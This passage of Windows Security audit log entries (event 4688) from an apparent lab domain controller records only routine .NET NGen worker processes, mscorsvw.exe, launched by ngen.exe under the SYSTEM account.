	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8c8 -InterruptEvent 0 -NGENProcess 870 -Pipe 8cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 8a8 -Pipe 8b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255250
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe00
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 890 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255249
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 8c8 -Pipe 8c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255248
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8cc -InterruptEvent 0 -NGENProcess 8c0 -Pipe 8c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255259
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 920 -Pipe 928 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255258
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 920 -Pipe 900 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255257
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 918 -InterruptEvent 0 -NGENProcess 8dc -Pipe 8c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255256
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e4 -InterruptEvent 0 -NGENProcess 8dc -Pipe 8a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255255
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 900 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 90c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255262
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 914 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255261
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8b4 -InterruptEvent 0 -NGENProcess 920 -Pipe 934 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255260
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x136c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 920 -Pipe 92c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255264
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e4 -InterruptEvent 0 -NGENProcess 94c -Pipe 948 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:49 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255263
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x374
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 938 -InterruptEvent 0 -NGENProcess 8b4 -Pipe 940 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 920 -Pipe 8dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255266
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 920 -InterruptEvent 0 -NGENProcess 94c -Pipe 8d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:50 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255265
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 91c -InterruptEvent 0 -NGENProcess 94c -Pipe 874 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255277
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb68
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 984 -InterruptEvent 0 -NGENProcess 96c -Pipe 93c -Comment "NGen Worker Process"

